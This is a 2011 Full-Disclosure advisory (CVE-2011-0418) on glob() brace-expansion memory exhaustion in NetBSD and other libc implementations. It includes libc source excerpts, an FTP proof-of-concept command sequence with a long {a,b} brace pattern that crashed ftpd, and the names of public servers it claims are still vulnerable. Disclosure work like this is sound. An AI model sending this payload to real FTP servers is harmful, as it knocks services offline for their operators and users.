| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <4DBDE995.2080608@securityreason.com>
Date: Mon, 02 May 2011 01:15:33 +0200
From: Maksymilian Arciemowicz <cxib@...urityreason.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Multiple Vendors libc/glob()
GLOB_BRACE|GLOB_LIMIT memory exhaustion
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ Multiple Vendors libc/glob() GLOB_BRACE|GLOB_LIMIT memory exhaustion ]
Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- Dis.: 19.01.2011
- Pub.: 02.05.2011
CVE: CVE-2011-0418
Affected Software (verified):
- - NetBSD 5.1
- - and more
Original URL:
http://securityreason.com/achievement_securityalert/97
- --- 0.Description ---
#include <glob.h>
int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);
Description
This function expands a filename wildcard which is passed as pattern.
GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX. This
option should be set for programs that can be coerced to a denial of
service attack via patterns that expand to a very large number of
matches, such as a long string of */../*/..
- --- 1. Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory
exhaustion ---
Analyzing history of GLOB_LIMIT, we should start since 2001, where it
has been added to protect ftp servers before memory exhaustion.
http://www.mail-archive.com/bugtraq@securityfocus.com/msg04960.html
Any 'pattern', should be limited and controlled by GLOB LIMIT. Algorithm
used in glob(3) is not optimal, and doesn't support functions like
realpath() to eliminate duplicates. It's not easy to predict the
greatest possible complexity. Anyway in 2010, netbsd has extended
GLOB_LIMIT for a few new limits like: stats, readdir and malloc
OpenBSD has localized some integer overflow. In glob(3) function, exists
some malloc() allowing allocate n<INT_MAX bytes into memory.
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h
- -globextend()/openbsd--
749: newn = 2 + pglob->gl_pathc + pglob->gl_offs;
750: if (pglob->gl_offs >= INT_MAX ||
751: pglob->gl_pathc >= INT_MAX ||
752: newn >= INT_MAX ||
753: SIZE_MAX / sizeof(*pathv) <= newn ||
754: SIZE_MAX / sizeof(*statv) <= newn) {
755: nospace:
756: for (i = pglob->gl_offs; i < (ssize_t)(newn - 2); i++) {
757: if (pglob->gl_pathv && pglob->gl_pathv[i])
758: free(pglob->gl_pathv[i]);
759: if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&
760: pglob->gl_pathv && pglob->gl_pathv[i])
761: free(pglob->gl_statv[i]);
762: }
763: if (pglob->gl_pathv) {
764: free(pglob->gl_pathv);
765: pglob->gl_pathv = NULL;
766: }
767: if (pglob->gl_statv) {
768: free(pglob->gl_statv);
769: pglob->gl_statv = NULL;
770: }
771: return(GLOB_NOSPACE);
772: }
- -globextend()/openbsd--
however SIZE_MAX and INT_MAX doesn't protect us before memory
exhaustion. The real problem here is uncontrolled malloc(3) call.
globextend() will be executed a lot of times and we should reduce calls
to glob0() and globexp1(). Therefore has been created a new limit,
limiting 'braces' used in 'pattern'.
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&tr1=1.27&r2=text&tr2=1.29
If we don't reduce this call
- -globextend()/netbsd--
static int
globextend(const Char *path, glob_t *pglob, size_t *limit)
{
char **pathv;
size_t i, newsize, len;
char *copy;
const Char *p;
_DIAGASSERT(path != NULL);
_DIAGASSERT(pglob != NULL);
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
pathv = pglob->gl_pathv ? realloc(pglob->gl_pathv, newsize) :
malloc(newsize); <==== UNSECURE CALL
...
- -globextend()/netbsd--
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
malloc(3) try allocate (4*pglob->gl_pathc) bytes.
- -PoC-
USER anonymous
PASS bla@....bla
STAT
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
- -PoC-
in result we get
Jan 19 04:49:17 127 /netbsd: UVM: pid 615 (ftpd), uid 1003 killed: out
of swap
Many servers are still vulnerable to the above vulnerability and
CVE-2010-4754, CVE-2010-4755, CVE-2010-4756, CVE-2010-2632. Servers like
ftp.sun.com ftp.sony.com seems still be affected.
- --- 2. References ---
http://securityreason.com/achievement_securityalert/89
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.avaya.com/css/P8/documents/100127892
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2632
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4754
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4755
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4756
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0418
PoC:
change 'pattern' in
http://cxib.net/stuff/glob-0day.c
- --- 3. Fix ---
Use CVS netbsd-5 netbsd-5-1 netbsd-5-0
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c
- --- 4. Greets ---
Specials thanks for Christos Zoulas, spz
sp3x, Infospec
- --- 5. Contact ---
Author: Maksymilian Arciemowicz
Email:
- - cxib {a\./t] securityreason [d=t} com
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
- --
Best Regards
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max@...b.net>
sub 4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJNvemQAAoJEIO8+dzW5bUw+/gP/jF5j08Wruacslg1OqyX5Ewz
uGGsNWN+/6ZABiYlgOqiv8TBtnV1RXXFcRwNQRoTuLl/KRN7RV8EAbuqD9my/KPJ
j2VbuDeNKAnAQVkAJVWg+CXSeh0H+AXbnnykSJND4mt2bgm22g4kOeEVjfhshUme
5xwAzAK8Hgcjso/BBQza7mRpFK14hAvZs0pMqZzGvcCZ+W9dLAEQkz5WnCfAumS5
wJgZD/TvOkX2dzg75Fy302ufiGBQtTFCpnuC4NopCv78tXazZkeW3kNrSZZtLUES
h54BYtITB6LM+YGi5YaSK9YvsTo1k0kYknyvu0NB2nxBDayAe1+PbIZRlrw6Xn6x
zEm4ao+FnRmJQ7RpIqKDp2PWcjaQPEzzqfVrxUUV/Sk6RB9diSJZiIvFxEXEyUfj
I5xwnCgHtS/WBiq3eExXPiJ/QPNziZnADVHfGVrqgcbtyvNQ57LiP65IDZish3JE
4Uu8YjrzO3fcSe//Q7CFz5n7bMDFcQxFUMGhG0xAQwEjbMRn6bO/zhDsn15uoSj1
w17bfvIdrYHnTivxCZ+Q3WChIYEAO6QcgfIM+T427+X2L3RxmklDU5h2Zdz+Q+NZ
6pd2drTZC72HQQL5eoD3q6FQosc3MblKGsHc8eixJ/XeAZBHGkehhmDySCf9o93u
0ZkDyZgB1oPnlfy+0jPU
=h+ct
-----END PGP SIGNATURE-----
Download attachment "0xD6E5B530.asc" of type "application/pgp-keys" (3086 bytes)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists